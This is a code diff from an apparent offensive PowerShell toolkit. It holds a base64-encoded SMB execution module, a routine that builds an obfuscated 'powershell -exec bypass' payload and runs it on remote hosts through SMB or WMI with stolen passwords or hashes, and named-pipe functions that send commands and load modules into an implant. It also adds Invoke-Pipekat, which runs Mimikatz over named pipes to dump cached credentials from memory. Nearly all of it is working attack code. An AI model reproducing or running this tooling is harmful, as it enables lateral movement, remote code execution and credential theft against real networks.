ldE9yZGVyZWREaWN0aW9uYXJ5ICRwYWNrZXRfTmV0QklPU19zZXNzaW9uX3NlcnZpY2UNCg0KICAgICAgICAgICAgICAgICAgICAgICAgaWYoJFNNQl9zaWduaW5nKQ0KICAgICAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRTTUIyX3NpZ24gPSAkU01CMl9oZWFkZXIgKyAkU01CMl9kYXRhDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJFNNQjJfc2lnbmF0dXJlID0gJEhNQUNfU0hBMjU2LkNvbXB1dGVIYXNoKCRTTUIyX3NpZ24pDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJFNNQjJfc2lnbmF0dXJlID0gJFNNQjJfc2lnbmF0dXJlWzAuLjE1XQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRwYWNrZXRfU01CMl9oZWFkZXJbIlNNQjJIZWFkZXJfU2lnbmF0dXJlIl0gPSAkU01CMl9zaWduYXR1cmUNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkU01CMl9oZWFkZXIgPSBDb252ZXJ0RnJvbS1QYWNrZXRPcmRlcmVkRGljdGlvbmFyeSAkcGFja2V0X1NNQjJfaGVhZGVyDQogICAgICAgICAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfY2xpZW50X3NlbmQgPSAkTmV0QklPU19zZXNzaW9uX3NlcnZpY2UgKyAkU01CMl9oZWFkZXIgKyAkU01CMl9kYXRhDQogICAgICAgICAgICAgICAgICAgICAgICAkU01CX2NsaWVudF9zdHJlYW0uV3JpdGUoJFNNQl9jbGllbnRfc2VuZCwwLCRTTUJfY2xpZW50X3NlbmQuTGVuZ3RoKSA+ICRudWxsDQogICAgICAgICAgICAgICAgICAgICAgICAkU01CX2NsaWVudF9zdHJlYW0uRmx1c2goKQ0KICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl9jbGllbnRfc3RyZWFtLlJlYWQoJFNNQl9jbGllbnRfcmVjZWl2ZSwwLCRTTUJfY2xpZW50X3JlY2VpdmUuTGVuZ3RoKSA+ICRudWxsDQogICAgICAgICAgICAgICAgICAgICAgICAkU01CX2NsaWVudF9zdGFnZSA9ICdMb2dvZmYnDQogICAgICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgICAgICAgICAnTG9nb2ZmJw0KICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICAkU01CMl9tZXNzYWdlX0lEICs9IDIwDQogICAgICAgICAgICAgICAgICAgICAgICAkcGFja2V0X1NNQjJfaGVhZGVyID0gR2V0LVBhY2tldFNNQjJIZWFkZXIgMHgwMiwweDAwICRTTUIyX21lc3NhZ2VfSUQgJFNNQjJfdHJlZV9JRCAkU01CX3Nlc3Npb25fSUQNCiAgICAgICAgICAgICAgICAgICAgICAgICRwYWNrZXRfU01CMl9oZWFkZXJbIlNNQjJIZWFkZXJfQ3JlZGl0UmVxdWVzdCJdID0gMHg3ZiwweDAwDQogICAgICAgICAgICAgICAgICAgIA0KICAgICAgICAgICAgICAgICAgICAgICAgaWYoJFNNQl9zaWduaW5nKQ0KICAgICAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRwYWNrZXRfU01CMl9oZWFkZXJbIlNNQjJIZWFkZXJfRmxhZ3MiXSA9IDB4MDgsMHgwMCwweDAwLDB4MDAgICAgICANCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgIA0KICAgICAgICAgICAgICAgICAgICAgICAgJHBhY2tldF9TTUIyX2RhdGEgPSBHZXQtUGFja2V0U01CMlNlc3Npb25Mb2dvZmZSZXF1ZXN0DQogICAgICAgICAgICAgICAgICAgICAgICAkU01CMl9oZWFkZXIgPSBDb252ZXJ0RnJvbS1QYWNrZXRPcmRlcmVkRGljdGlvbmFyeSAkcGFja2V0X1NNQjJfaGVhZGVyDQogICAgICAgICAgICAgICAgICAgICAgICAkU01CMl9kYXRhID0gQ29udmVydEZyb20tUGFja2V0T3JkZXJlZERpY3Rpb25hcnkgJHBhY2tldF9TTUIyX2RhdGENCiAgICAgICAgICAgICAgICAgICAgICAgICRwYWNrZXRfTmV0QklPU19zZXNzaW9uX3NlcnZpY2UgPSBHZXQtUGFja2V0TmV0QklPU1Nlc3Npb25TZXJ2aWNlICRTTUIyX2hlYWRlci5MZW5ndGggJFNNQjJfZGF0YS5MZW5ndGgNCiAgICAgICAgICAgICAgICAgICAgICAgICROZXRCSU9TX3Nlc3Npb25fc2VydmljZSA9IENvbnZlcnRGcm9tLVBhY2tldE9yZGVyZWREaWN0aW9uYXJ5ICRwYWNrZXRfTmV0QklPU19zZXNzaW9uX3NlcnZpY2UNCg0KICAgICAgICAgICAgICAgICAgICAgICAgaWYoJFNNQl9zaWduaW5nKQ0KICAgICAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRTTUIyX3NpZ24gPSAkU01CMl9oZWFkZXIgKyAkU01CMl9kYXRhDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJFNNQjJfc2lnbmF0dXJlID0gJEhNQUNfU0hBMjU2LkNvbXB1dGVIYXNoKCRTTUIyX3NpZ24pDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJFNNQjJfc2lnbmF0dXJlID0gJFNNQjJfc2lnbmF0dXJlWzAuLjE1XQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRwYWNrZXRfU01CMl9oZWFkZXJbIlNNQjJIZWFkZXJfU2lnbmF0dXJlIl0gPSAkU01CMl9zaWduYXR1cmUNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkU01CMl9oZWFkZXIgPSBDb252ZXJ0RnJvbS1QYWNrZXRPcmRlcmVkRGljdGlvbmFyeSAkcGFja2V0X1NNQjJfaGVhZGVyDQogICAgICAgICAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfY2xpZW50X3NlbmQgPSAkTmV0QklPU19zZXNzaW9uX3NlcnZpY2UgKyAkU01CMl9oZWFkZXIgKyAkU01CMl9kYXRhDQogICAgICAgICAgICAgICAgICAgICAgICAkU01CX2NsaWVudF9zdHJlYW0uV3JpdGUoJFNNQl9jbGllbnRfc2VuZCwwLCRTTUJfY2xpZW50X3NlbmQuTGVuZ3RoKSA+ICRudWxsDQogICAgICAgICAgICAgICAgICAgICAgICAkU01CX2NsaWVudF9zdHJlYW0uRmx1c2goKQ0KICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl9jbGllbnRfc3RyZWFtLlJlYWQoJFNNQl9jbGllbnRfcmVjZWl2ZSwwLCRTTUJfY2xpZW50X3JlY2VpdmUuTGVuZ3RoKSA+ICRudWxsDQogICAgICAgICAgICAgICAgICAgICAgICAkU01CX2NsaWVudF9zdGFnZSA9ICdFeGl0Jw0KICAgICAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgDQogICAgICAgICAgICAgICAgaWYoJFNNQkV4ZWNfZmFpbGVkKQ0KICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgQlJFQUsgU01CX2V4ZWN1dGVfbG9vcA0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIA0KICAgICAgICAgICAgfQ0KDQogICAgICAgIH0NCg0KICAgIH0NCg0KICAgICRTTUJfY2xpZW50LkNsb3NlKCkNCiAgICAkU01CX2NsaWVudF9zdHJlYW0uQ2xvc2UoKQ0KfQ0KDQp9DQoNCkZ1bmN0aW9uIEdldC1NRDRIYXNoIHsNCjwjDQouU1lOT1BTSVMNCiAgICBUaGlzIGNtZGxldCByZXR1cm5zIHRoZSBNRDQgaGFzaCBvZiB0aGUgZGF0YSB0aGF0IGlzIGlucHV0Lg0KICAgIFdBUk5JTkc6IE1ENCBpcyBub3Qgc2VjdXJlLCBzbyBpdCBzaG91bGQgTkVWRVIgYmUgdXNlZCB0bw0KICAgIHByb3RlY3Qgc2Vuc2l0aXZlIGRhdGEuIFRoaXMgY21kbGV0IGlzIGZvciByZXNlYXJjaCBwdXJwb3NlcyBvbmx5IQ0KIA0KLkRFU0NSSVBUSU9ODQogICAgVGhpcyBjbWRsZXQgcmV0dXJucyB0aGUgTUQ0IGhhc2ggb2YgdGhlIGRhdGEgdGhhdCBpcyBpbnB1dC4NCiAgICBXQVJOSU5HOiBNRDQgaXMgbm90IHNlY3VyZSwgc28gaXQgc2hvdWxkIE5FVkVSIGJlIHVzZWQgdG8NCiAgICBwcm90ZWN0IHNlbnNpdGl2ZSBkYXRhLiBUaGlzIGNtZGxldCBpcyBmb3IgcmVzZWFyY2ggcHVycG9zZXMgb25seSENCiAgICBUaGlzIGNtZGxldCB1c2VzIE1pY3Jvc29mdCdzIGltcGxlbWVudGF0aW9uIG9mIE1ENCwgZXhwb3J0ZWQNCiAgICBmcm9tIGJjcnlwdC5kbGwuIFRoZSBpbXBsZW1lbnRhdGlvbiBpcyBmdWxseSBjb21wbGlhbnQgd2l0aA0KICAgIFJGQyAxMzIwLiBUaGlzIGNtZGxldCB0YWtlcyBhIGJ5dGUgYXJyYXkgYXMgaW5wdXQsIG5vdCBhIHN0cmluZy4NCiAgICBTbyBpZiB5b3Ugd2FudGVkIHRvIGhhc2ggYSBzdHJpbmcgKHN1Y2ggYXMgYSBwYXNzd29yZCwpIHlvdQ0KICAgIG5lZWQgdG8gY29udmVydCBpdCB0byBhIGJ5dGUgYXJyYXkgZmlyc3QuDQogDQouRVhBTVBMRQ0KICAgIEdldC1NRDRIYXNoIC1EYXRhVG9IYXNoICQoW1RleHQuRW5jb2RpbmddOjpVbmljb2RlLkdldEJ5dGVzKCJZb3VyUGFzc3dvcmQxISIpKQ0KIA0KLlBBUkFNRVRFUiBEYXRhVG9IYXNoDQogICAgQSBieXRlIGFycmF5IHRoYXQgcmVwcmVzZW50cyB0aGUgZGF0YSB0aGF0IHlvdSB3YW50IHRvIGhhc2guDQogDQouSU5QVVRTDQogICAgQSBieXRlIGFycmF5IGNvbnRhaW5pbmcgdGhlIGRhdGEgeW91IHdpc2ggdG8gaGFzaC4NCiANCi5PVVRQVVRTDQogICAgQSAxMjgtYml0IGhleGFkZWNpbWFsIHN0cmluZyAtIHRoZSBNRDQgaGFzaCBvZiB5b3VyIGRhdGEuDQogDQouTk9URVMNCiAgICBBdXRob3I6IFJ5YW4gUmllcywgMjAxNCwgcnlhbkBteW90aGVycGNpc2FjbG91ZC5jb20NCiANCi5MSU5LDQogICAgaHR0cHM6Ly9teW90aGVycGNpc2FjbG91ZC5jb20NCiM+DQogICAgW0NtZGxldEJpbmRpbmcoKV0NCiAgICBQYXJhbSAoW1BhcmFtZXRlcihNYW5kYXRvcnk9JFRydWUsIFZhbHVlRnJvbVBpcGVsaW5lPSRGYWxzZSldICAgICAgICAgIA0KICAgICAgICAgICBbQnl0ZVtdXSREYXRhVG9IYXNoKQ0KICAgIEVORA0KICAgIHsgICAgICAgDQogICAgICAgIFNldC1TdHJpY3RNb2RlIC1WZXJzaW9uIExhdGVzdA0KICAgICAgICBpZiAoLW5vdCAoW1N5c3RlbS5NYW5hZ2VtZW50LkF1dG9tYXRpb24uUFNUeXBlTmFtZV0nZHNhZmRzYWZkc2FmZHMnKS5UeXBlKQ0KICAgICAgICB7DQogICAgICAgIEFkZC1UeXBlIC1UeXBlRGVmaW5pdGlvbiBAJw0KICAgICAgICB1c2luZyBTeXN0ZW07DQogICAgICAgIHVzaW5nIFN5c3RlbS5UZXh0Ow0KICAgICAgICB1c2luZyBTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXM7DQogICAgICAgIHB1YmxpYyBjbGFzcyBkc2FmZHNhZmRzYWZkcw0KICAgICAgICB7DQogICAgICAgICAgICBbRGxsSW1wb3J0KCJiY3J5cHQuZGxsIiwgQ2hhclNldCA9IENoYXJTZXQuQXV0byldDQogICAgICAgICAgICBwdWJsaWMgc3RhdGljIGV4dGVybiBOVFN0YXR1cyBCQ3J5cHRPcGVuQWxnb3JpdGhtUHJvdmlkZXIoDQogICAgICAgICAgICAgICAgW091dF0gb3V0IEludFB0ciBwaEFsZ29yaXRobSwNCiAgICAgICAgICAgICAgICBbSW5dIHN0cmluZyBwc3pBbGdJZCwNCiAgICAgICAgICAgICAgICBbSW4sIE9wdGlvbmFsXSBzdHJpbmcgcHN6SW1wbGVtZW50YXRpb24sDQogICAgICAgICAgICAgICAgW0luXSBVSW50MzIgZHdGbGFncyk7DQogDQogICAgICAgICAgICBbRGxsSW1wb3J0KCJiY3J5cHQuZGxsIildDQogICAgICAgICAgICBwdWJsaWMgc3RhdGljIGV4dGVybiBOVFN0YXR1cyBCQ3J5cHRDbG9zZUFsZ29yaXRobVByb3ZpZGVyKA0KICAgICAgICAgICAgICAgIFtJbiwgT3V0XSBJbnRQdHIgaEFsZ29yaXRobSwNCiAgICAgICAgICAgICAgICBbSW5dIFVJbnQzMiBkd0ZsYWdzKTsNCiANCiAgICAgICAgICAgIFtEbGxJbXBvcnQoImJjcnlwdC5kbGwiLCBDaGFyU2V0ID0gQ2hhclNldC5BdXRvKV0NCiAgICAgICAgICAgIHB1YmxpYyBzdGF0aWMgZXh0ZXJuIE5UU3RhdHVzIEJDcnlwdENyZWF0ZUhhc2goDQogICAgICAgICAgICAgICAgW0luLCBPdXRdIEludFB0ciBoQWxnb3JpdGhtLA0KICAgICAgICAgICAgICAgIFtPdXRdIG91dCBJbnRQdHIgcGhIYXNoLA0KICAgICAgICAgICAgICAgIFtPdXRdIEludFB0ciBwYkhhc2hPYmplY3QsDQogICAgICAgICAgICAgICAgW0luLCBPcHRpb25hbF0gVUludDMyIGNiSGFzaE9iamVjdCwNCiAgICAgICAgICAgICAgICBbSW4sIE9wdGlvbmFsXSBJbnRQdHIgcGJTZWNyZXQsDQogICAgICAgICAgICAgICAgW0luXSBVSW50MzIgY2JTZWNyZXQsDQogICAgICAgICAgICAgICAgW0luXSBVSW50MzIgZHdGbGFncyk7DQogDQogICAgICAgICAgICBbRGxsSW1wb3J0KCJiY3J5cHQuZGxsIildDQogICAgICAgICAgICBwdWJsaWMgc3RhdGljIGV4dGVybiBOVFN0YXR1cyBCQ3J5cHREZXN0cm95SGFzaCgNCiAgICAgICAgICAgICAgICBbSW4sIE91dF0gSW50UHRyIGhIYXNoKTsNCiANCiAgICAgICAgICAgIFtEbGxJbXBvcnQoImJjcnlwdC5kbGwiKV0NCiAgICAgICAgICAgIHB1YmxpYyBzdGF0aWMgZXh0ZXJuIE5UU3RhdHVzIEJDcnlwdEhhc2hEYXRhKA0KICAgICAgICAgICAgICAgIFtJbiwgT3V0XSBJbnRQdHIgaEhhc2gsDQogICAgICAgICAgICAgICAgW0luLCBNYXJzaGFsQXMoVW5tYW5hZ2VkVHlwZS5MUEFycmF5KV0gYnl0ZVtdIHBiSW5wdXQsDQogICAgICAgICAgICAgICAgW0luXSBpbnQgY2JJbnB1dCwNCiAgICAgICAgICAgICAgICBbSW5dIFVJbnQzMiBkd0ZsYWdzKTsNCiANCiAgICAgICAgICAgIFtEbGxJbXBvcnQoImJjcnlwdC5kbGwiKV0NCiAgICAgICAgICAgIHB1YmxpYyBzdGF0aWMgZXh0ZXJuIE5UU3RhdHVzIEJDcnlwdEZpbmlzaEhhc2goDQogICAgICAgICAgICAgICAgW0luLCBPdXRdIEludFB0ciBoSGFzaCwNCiAgICAgICAgICAgICAgICBbT3V0LCBNYXJzaGFsQXMoVW5tYW5hZ2VkVHlwZS5MUEFycmF5KV0gYnl0ZVtdIHBiSW5wdXQsDQogICAgICAgICAgICAgICAgW0luXSBpbnQgY2JJbnB1dCwNCiAgICAgICAgICAgICAgICBbSW5dIFVJbnQzMiBkd0ZsYWdzKTsNCiANCiAgICAgICAgICAgIFtGbGFnc10NCiAgICAgICAgICAgIHB1YmxpYyBlbnVtIEFsZ09wc0ZsYWdzIDogdWludA0KICAgICAgICAgICAgeyAgICAgICAgICAgDQogICAgICAgICAgICAgICAgQkNSWVBUX1BST1ZfRElTUEFUQ0ggPSAweDAwMDAwMDAxLA0KICAgICAgICAgICAgICAgIEJDUllQVF9BTEdfSEFORExFX0hNQUNfRkxBRyA9IDB4MDAwMDAwMDgsDQogICAgICAgICAgICAgICAgQkNSWVBUX0hBU0hfUkVVU0FCTEVfRkxBRyA9IDB4MDAwMDAwMjANCiAgICAgICAgICAgIH0NCiANCiAgICAgICAgICAgIC8vIFRoaXMgaXMgYSBnaWdhbnRpYyBlbnVtIGFuZCBJIGRvbid0IHdhbnQgdG8gY29weSBhbGwgb2YgaXQgaW50byB0aGlzIFBvd2Vyc2hlbGwgc2NyaXB0Lg0KICAgICAgICAgICAgLy8gQmFzaWNhbGx5IGFueXRoaW5nIG90aGVyIHRoYW4gemVybyBtZWFucyBzb21ldGhpbmcgd2VudCB3cm9uZy4NCiAgICAgICAgICAgIHB1YmxpYyBlbnVtIE5UU3RhdHVzIDogdWludA0KICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgIFNUQVRVU19TVUNDRVNTID0gMHgwMDAwMDAwMA0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQonQA0KfQ0KIA0KICAgICAgICBbQnl0ZVtdXSRIYXNoQnl0ZXMgICA9IE5ldy1PYmplY3QgQnl0ZVtdIDE2DQogICAgICAgIFtJbnRQdHJdJFBIQWxnb3JpdGhtID0gW0ludFB0cl06Olplcm8NCiAgICAgICAgW0ludFB0cl0kUEhIYXNoICAgICAgPSBbSW50UHRyXTo6WmVybw0KICAgICAgICAkTlRTdGF0dXMgPSBbZHNhZmRzYWZkc2FmZHNdOjpCQ3J5cHRPcGVuQWxnb3JpdGhtUHJvdmlkZXIoW1JlZl0gJFBIQWxnb3JpdGhtLCAnTUQ0JywgJE51bGwsIDApDQogICAgICAgIElmICgkTlRTdGF0dXMgLU5FIDApDQogICAgICAgIHsNCiAgICAgICAgICAgIFdyaXRlLUVycm9yICJCQ3J5cHRPcGVuQWxnb3JpdGhtUHJvdmlkZXIgZmFpbGVkIHdpdGggTlRTVEFUVVMgJE5UU3RhdHVzIg0KICAgICAgICAgICAgSWYgKCRQSEFsZ29yaXRobSAtTkUgW0ludFB0cl06Olplcm8pDQogICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgJE5UU3RhdHVzID0gW2RzYWZkc2FmZHNhZmRzXTo6QkNyeXB0Q2xvc2VBbGdvcml0aG1Qcm92aWRlcigkUEhBbGdvcml0aG0sIDApDQogICAgICAgICAgICB9DQogICAgICAgICAgICBSZXR1cm4NCiAgICAgICAgfQ0KICAgICAgICAkTlRTdGF0dXMgPSBbZHNhZmRzYWZkc2FmZHNdOjpCQ3J5cHRDcmVhdGVIYXNoKCRQSEFsZ29yaXRobSwgW1JlZl0gJFBISGFzaCwgW0ludFB0cl06Olplcm8sIDAsIFtJbnRQdHJdOjpaZXJvLCAwLCAwKQ0KICAgICAgICBJZiAoJE5UU3RhdHVzIC1ORSAwKQ0KICAgICAgICB7DQogICAgICAgICAgICBXcml0ZS1FcnJvciAiQkNyeXB0Q3JlYXRlSGFzaCBmYWlsZWQgd2l0aCBOVFNUQVRVUyAkTlRTdGF0dXMiDQogICAgICAgICAgICBJZiAoJFBISGFzaCAtTkUgW0ludFB0cl06Olplcm8pDQogICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgJE5UU3RhdHVzID0gW2RzYWZkc2FmZHNhZmRzXTo6QkNyeXB0RGVzdHJveUhhc2goJFBISGFzaCkgICAgICAgICAgICAgICANCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIElmICgkUEhBbGdvcml0aG0gLU5FIFtJbnRQdHJdOjpaZXJvKQ0KICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICROVFN0YXR1cyA9IFtkc2FmZHNhZmRzYWZkc106OkJDcnlwdENsb3NlQWxnb3JpdGhtUHJvdmlkZXIoJFBIQWxnb3JpdGhtLCAwKQ0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgUmV0dXJuDQogICAgICAgIH0NCiANCiAgICAgICAgJE5UU3RhdHVzID0gW2RzYWZkc2FmZHNhZmRzXTo6QkNyeXB0SGFzaERhdGEoJFBISGFzaCwgJERhdGFUb0hhc2gsICREYXRhVG9IYXNoLkxlbmd0aCwgMCkNCiAgICAgICAgJE5UU3RhdHVzID0gW2RzYWZkc2FmZHNhZmRzXTo6QkNyeXB0RmluaXNoSGFzaCgkUEhIYXNoLCAkSGFzaEJ5dGVzLCAkSGFzaEJ5dGVzLkxlbmd0aCwgMCkNCiANCiAgICAgICAgSWYgKCRQSEhhc2ggLU5FIFtJbnRQdHJdOjpaZXJvKQ0KICAgICAgICB7DQogICAgICAgICAgICAkTlRTdGF0dXMgPSBbZHNhZmRzYWZkc2FmZHNdOjpCQ3J5cHREZXN0cm95SGFzaCgkUEhIYXNoKQ0KICAgICAgICB9DQogICAgICAgIElmICgkUEhBbGdvcml0aG0gLU5FIFtJbnRQdHJdOjpaZXJvKQ0KICAgICAgICB7DQogICAgICAgICAgICAkTlRTdGF0dXMgPSBbZHNhZmRzYWZkc2FmZHNdOjpCQ3J5cHRDbG9zZUFsZ29yaXRobVByb3ZpZGVyKCRQSEFsZ29yaXRobSwgMCkNCiAgICAgICAgfQ0KICAgICAgICAgDQogICAgICAgICRIYXNoU3RyaW5nID0gTmV3LU9iamVjdCBTeXN0ZW0uVGV4dC5TdHJpbmdCdWlsZGVyDQogICAgICAgIEZvcmVhY2ggKCRCeXRlIEluICRIYXNoQnl0ZXMpDQogICAgICAgIHsNCiAgICAgICAgICAgIFtWb2lkXSRIYXNoU3RyaW5nLkFwcGVuZCgkQnl0ZS5Ub1N0cmluZygiWDIiKSkNCiAgICAgICAgfQ0KICAgICAgICBSZXR1cm4gJEhhc2hTdHJpbmcuVG9TdHJpbmcoKQ0KICAgIH0NCn0NCg==" + + # Convert server scriptblock to base64 with compression + $ScriptBytes = ([Text.Encoding]::ASCII).GetBytes($s_scriptblock) + $CompressedStream = New-Object IO.MemoryStream + $DeflateStream = New-Object IO.Compression.DeflateStream ($CompressedStream, [IO.Compression.CompressionMode]::Compress) + $DeflateStream.Write($ScriptBytes, 0, $ScriptBytes.Length) + $DeflateStream.Dispose() + $CompressedScriptBytes = $CompressedStream.ToArray() + $CompressedStream.Dispose() + $EncodedCompressedScript = [Convert]::ToBase64String($CompressedScriptBytes) + $NewScript = 'sal a New-Object;iex(a IO.StreamReader((a IO.Compression.DeflateStream([IO.MemoryStream][Convert]::FromBase64String(' + "'$EncodedCompressedScript'" + '),[IO.Compression.CompressionMode]::Decompress)),[Text.Encoding]::ASCII)).ReadToEnd()' + $payload = "cmd /c powershell -exec bypass -c `"`"$NewScript`"`"" + + if ($domain -eq ".") { + $net = new-object -ComObject WScript.Network + $net.MapNetworkDrive("", "\\$target\ipc$", $false, "$target\$user", "$Password") + } else { + $net = new-object -ComObject WScript.Network + $net.MapNetworkDrive("", "\\$target\ipc$", $false, "$domain\$user", "$Password") + } + + # if psexec + if ($PSexec.IsPresent) { + $smbexecw = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($smbexec)) + IEX $smbexecw + echo "`n[+] Running Invoke-SMBExec with the supplied credentials" + if ($hash){ + $smbcmd = "Invoke-SMBExec -Target `"$target`" -Domain `"$domain`" -Username `"$user`" -Hash `"$hash`" -Command `"$payload`"" + } else { + $smbcmd = "Invoke-SMBExec -Target `"$target`" -Domain `"$domain`" -Username `"$user`" -Password `"$password`" -Command `"$payload`"" + } + $success = IEX $smbcmd + $success + } else { + $wmiexecw = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($wmiexec)) + IEX $wmiexecw + echo "`n[+] Running Invoke-WMIExec with the supplied credentials" + if ($password){ + $wmicmd = "Invoke-WmiExec -Target `"$target`" -Domain `"$domain`" -Username `"$user`" -Password `"$password`" -Command `"$payload`"" + } else { + $wmicmd = "Invoke-WmiExec -Target `"$target`" -Domain `"$domain`" -Username `"$user`" -Hash `"$hash`" -Command `"$payload`"" + } + $success = IEX $wmicmd + $success + } + + $PIPE_runspace = [RunspaceFactory]::CreateRunspace() + $PIPE_runspace.Open() + $PIPE_runspace.SessionStateProxy.SetVariable('pipestate',$pipestate) + $PIPE_powershell = [PowerShell]::Create() + $PIPE_powershell.Runspace = $PIPE_runspace + $PIPE_powershell.AddScript($c_scriptblock) > $null + $PIPE_powershell.BeginInvoke() > $null + echo "" + $endtime = (Get-Date).AddMilliseconds($timeout) + while ((Get-Date) -lt $endtime){ + if ($pipestate.state -eq $true) + { break } + + echo $pipestate.state + } + + if ($pipestate.state -eq $True){ + echo "Connected: $target - $pname" + echo "" + + } + elseif ((get-date) -lt $endtime){ + echo "Not Connected: Timeout occured" + } + else { + echo "Not Connected: :-(" + } +} +} + +function Pbind-Command ($command){ +<# + .SYNOPSIS + + Used to interact with the implant and send basic commands. + + .EXAMPLE + + PS C:\> Pbind-Command ipconfig + + .DESCRIPTION + + Runs ipconfig on the target endpoint and returns the output. +#> + if ($pipestate.state -eq $true){ + $script:pipestate.log = $null + echo "" + echo "[+] Sending command: $command" + echo "" + $script:pipestate.command = $command + while ($pipestate.log -eq $null){} + $output = $pipestate.log -replace '123456(.+?)654321', '' + $output + } + else { + echo "Not Connected: Command Not Sent" + } +} + +function Pbind-module ($command){ +<# + .SYNOPSIS + + Used to upload modules to the implant. + + .EXAMPLE + + PS C:\> Pbind-module "c:\modules folder\powerview.ps1" + + .DESCRIPTION + + Reads in a ps1 file into the implant, will execute if auto run configured. Use Send-Command to run functions loaded in memory. +#> + if ($pipestate.state -eq $true){ + $pipestate.log = $null + echo "" + echo "[+] Loading Module $command" + echo "" + $pipestate.command = "loadmodule $command" + echo $pipestate.command + while ($pipestate.log -eq $null){} + $output = $pipestate.log -replace '123456(.+?)654321', '' + $output} + else { + echo "Not Connected: Command Not Sent" + } + +} + +function Pbind-Kill ($command){ +<# + .SYNOPSIS + + Used to kill the implant on the target. + + .EXAMPLE + + PS C:\> Pbind-Kill + + .DESCRIPTION + + Destroys Pipe on target +#> + if ($pipestate.state -eq $true){ + echo "" + "[-] Killing pipe" + $pipestate.state = $false + $pipestate.command = "KILLPIPE" + echo "" + } + else { + echo "Not Connected: Command Not Send" + } +} + + + diff --git a/Modules/Invoke-Pipekat.ps1 b/Modules/Invoke-Pipekat.ps1 new file mode 100644 index 0000000..7be71b6 --- /dev/null +++ b/Modules/Invoke-Pipekat.ps1 @@ -0,0 +1,606 @@ +function Invoke-Pipekat { +<# +.SYNOPSIS + +The Invoke-Pipekat module uses Named Pipes and WMI to extract credentials using the famous @gentilkiwi tool and Invoke-WMIExec from @kevin_robertson + +.DESCRIPTION + +When you are running as a low-level user but have obtained highly privileged credntials and you want to extract credentials from memory or use any of the features of the famous tool from @gentilkiwi without touching disk or loading from an external source. This uses named pipes to communicate between process and then uses WMI to elevate up on the localhost using the supplied credentials. Default timeout 30 seconds for the clinet pipe and 600 seconds for the server pipe. + +.EXAMPLE + +Invoke-Pipekat -Username Admin -Password Password1 -Domain . + +.EXAMPLE + +Invoke-Pipekat -Target 10.0.0.100 -Username Admin -Password Password1 -Domain . + +.EXAMPLE + +Invoke-Pipekat -Username Admin -Password Password1 -Domain . -Command "lsadump::cache" -PSexec $True + +.EXAMPLE + +Invoke-Pipekat -Username Admin -Hash 4E3254E32556AE56AE -Domain . -Command "lsadump::cache" -PSexec $True + +.EXAMPLE + +Invoke-Pipekat -Target 10.0.0.1 -Username Admin -Hash 4E3254E32556AE56AE -Domain . -Shellcode ZnVuY3Rpb24gSW52b2tlL -Timeout 15 -TimeoutServer 900 + +#> +param($Command, $Username, $Password, $Domain, $Hash, $Target, $Shellcode, [bool]$PSexec = $False, $Timeout, $TimeoutServer) + + +if(!$TimeoutServer) {$TimeoutServer = 600} +if(!$TimeoutMS) {$TimeoutMS = 300000} else {$TimeoutMS = $Timeout * 1000} +if(!$Username) {echo "No username supplied...."; return} +if(!$Domain) {echo "No domain supplied...."; return} +if((!$Password) -and (!$Hash)) {echo "No password/hash supplied...."; return} +if(($Password) -and ($Hash)) {echo "Cannot use both a hash and a password...."; return} + +add-Type -assembly "System.Core" + +$pipeName = Random-Pipe 10 +echo "`n[+] Pipe Created for Input: $pipeName" + +$pipeNameMimi = Random-Pipe 10 +echo "[+] Pipe Created for Output: $pipeNameMimi" + +$pipekey = Create-AesKey +echo "[+] Encryption key used to secure the data: $pipekey" + +# Author: @mattifestation +$invokeshellcode = 